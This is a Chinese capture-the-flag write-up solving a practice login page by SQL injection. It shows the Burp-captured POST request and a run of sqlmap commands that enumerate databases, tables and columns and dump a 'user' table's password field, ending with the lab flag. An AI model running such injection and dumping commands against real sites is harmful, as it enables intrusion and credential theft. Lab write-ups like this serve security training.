靶场:https://rimovni.exeye.run/mefe/login?
此靶场是一个登录界面,如图所示
初步验证发现账号和密码处,存在注入点,使用手工注入的方式失败,查找网上的资料,发现一个利用Burp与sqlmap结合的方案实现SQL注入。(手工方式后续再进行尝试)
1.Burp抓包
在登录框输入账号密码,利用Burp抓取POST数据包,将数据包存储为search.log文件。
POST /mefe/login HTTP/1.1
Host: rimovni.exeye.run
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://rimovni.exeye.run
Connection: close
Referer: https://rimovni.exeye.run/mefe/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=123%40123.com&password=123
2.sqlmap得到数据库
将search.log文件放到sqlmap安装目录下,执行如下命令
python sqlmap.py -r search.log --batch --dbs
注:--batch
命令自动进行选择
结果如下
3. 列数据库中的表
可以看到有一个名为twosecu1_vuln_08
的数据库,列出数据库中的所有表
python sqlmap.py -r search.log --batch -D twosecu1_vuln_08 --tables
结果如下
4.列表中的字段
可以看到只有一个表user
,根据数据库,表名得到列
python sqlmap.py -r search.log --batch -D twosecu1_vuln_08 -T user --colunms
结果如下
5. 字段中的内容
直接查询password
字段的内容
python sqlmap.py -r search.log --batch -D twosecu1_vuln_08 -T user -C password --dump
结果如下
最终得到flag——two{wi1L_s0_Bu5y}